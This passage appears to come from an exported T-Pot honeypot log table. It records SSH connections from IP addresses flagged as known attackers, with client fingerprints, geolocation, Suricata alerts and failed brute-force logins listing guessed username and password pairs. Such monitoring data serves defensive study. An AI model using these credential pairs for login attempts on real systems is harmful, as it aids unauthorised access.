3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49466, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:35:20.688246Z", "@timestamp": "2021-09-20T11:35:20.688Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......_..=.t....L...%G...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
30452	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:35:20.411487+03	2021-09-20 14:45:03.077141+03	{"_id": "ywb9AnwBvYTbRNuENTyH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "119.29.153.168", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49466, "timestamp": "2021-09-20T11:35:20.411487", "@timestamp": "2021-09-20T11:35:20.411Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30453	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:35:20.688886+03	2021-09-20 14:45:03.093141+03	{"_id": "zgb9AnwBvYTbRNuENjy2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "a33f1d04b5a8", "@version": "1", "timestamp": "2021-09-20T11:35:20.688886Z", "@timestamp": "2021-09-20T11:35:20.688Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30454	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:35:21.896161+03	2021-09-20 14:45:03.112141+03	{"_id": "zwb9AnwBvYTbRNuEOjye", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.login.failed", "message": "login attempt [donatas/donatas] failed", "session": "a33f1d04b5a8", "@version": "1", "password": "donatas", "username": "donatas", "timestamp": "2021-09-20T11:35:21.896161Z", "@timestamp": "2021-09-20T11:35:21.896Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30455	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:35:23.17827+03	2021-09-20 14:45:03.127172+03	{"_id": "0Ab9AnwBvYTbRNuEPjyH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "a33f1d04b5a8", "@version": "1", "duration": 2.767836332321167, "timestamp": "2021-09-20T11:35:23.178270Z", "@timestamp": "2021-09-20T11:35:23.178Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30456	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:35:13.565865+03	2021-09-20 14:45:03.163176+03	{"_id": "sAb9AnwBvYTbRNuEGzxb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.70.175.230:47386 (192.168.176.2:22) [session: 4c51ea853ae5]", "session": "4c51ea853ae5", "@version": "1", "protocol": "ssh", "src_port": 47386, "dest_port": 22, "timestamp": "2021-09-20T11:35:13.565865Z", "@timestamp": "2021-09-20T11:35:13.565Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30457	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:35:13.568798+03	2021-09-20 14:45:03.179142+03	{"_id": "sQb9AnwBvYTbRNuEGzxb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "4c51ea853ae5", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:35:13.568798Z", "@timestamp": "2021-09-20T11:35:13.568Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30458	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:35:13.826348+03	2021-09-20 14:45:03.183141+03	{"_id": "sgb9AnwBvYTbRNuEGzxb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "4c51ea853ae5", "@version": "1", "timestamp": "2021-09-20T11:35:13.826348Z", "@timestamp": "2021-09-20T11:35:13.826Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30459	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:35:14.945478+03	2021-09-20 14:45:03.184142+03	{"_id": "tAb9AnwBvYTbRNuEHzxC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.login.failed", "message": "login attempt [tom/1qaz2wsx] failed", "session": "4c51ea853ae5", "@version": "1", "password": "1qaz2wsx", "username": "tom", "timestamp": "2021-09-20T11:35:14.945478Z", "@timestamp": "2021-09-20T11:35:14.945Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30460	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:35:15.965312+03	2021-09-20 14:45:03.185142+03	{"_id": "tQb9AnwBvYTbRNuEITz7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35404, "dest_port": 443, "timestamp": "2021-09-20T11:35:15.965312", "@timestamp": "2021-09-20T11:35:15.965Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30461	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:35:15.912905+03	2021-09-20 14:45:03.187142+03	{"_id": "vAb9AnwBvYTbRNuEJDzZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 32362, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 190945420373513, "@version": "1", "in_iface": "enp5s0", "src_port": 42369, "dest_port": 53, "timestamp": "2021-09-20T11:35:15.912905Z", "@timestamp": "2021-09-20T11:35:15.912Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30462	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:35:20.407767+03	2021-09-20 14:45:03.188142+03	{"_id": "xgb9AnwBvYTbRNuEMjzN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 119.29.153.168:49466 (192.168.176.2:22) [session: a33f1d04b5a8]", "session": "a33f1d04b5a8", "@version": "1", "protocol": "ssh", "src_port": 49466, "dest_port": 22, "timestamp": "2021-09-20T11:35:20.407767Z", "@timestamp": "2021-09-20T11:35:20.407Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30463	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:35:20.41078+03	2021-09-20 14:45:03.189141+03	{"_id": "xwb9AnwBvYTbRNuEMjzN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "a33f1d04b5a8", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:35:20.410780Z", "@timestamp": "2021-09-20T11:35:20.410Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30464	119.29.153.168	109.199.241.180	Suricata	2021-09-20 14:35:20.687562+03	2021-09-20 14:45:03.191141+03	{"_id": "yQb9AnwBvYTbRNuENDx7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "flow_id": 1309127271316462, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49466, "dest_port": 22, "timestamp": "2021-09-20T11:35:20.687562Z", "@timestamp": "2021-09-20T11:35:20.687Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30465	119.29.153.168	109.199.241.180	Fatt	2021-09-20 14:35:20.688246+03	2021-09-20 14:45:03.192142+03	{"_id": "zAb9AnwBvYTbRNuENTyH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 49466, "dest_port": 22, "timestamp": "2021-09-20T11:35:20.688246", "@timestamp": "2021-09-20T11:35:20.688Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30466	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:35:21.063971+03	2021-09-20 14:45:03.193142+03	{"_id": "zQb9AnwBvYTbRNuENjy2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.session.closed", "message": "Connection lost after 180 seconds", "session": "a1a43167aa3f", "@version": "1", "duration": 180.2561776638031, "timestamp": "2021-09-20T11:35:21.063971Z", "@timestamp": "2021-09-20T11:35:21.063Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
30467	81.70.175.230	109.199.241.180	Suricata	2021-09-20 14:35:13.825721+03	2021-09-20 14:45:03.194142+03	{"_id": "qAb9AnwBvYTbRNuEGTwg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:35:13.308001+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.70.175.230", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 299137793897249, "payload": 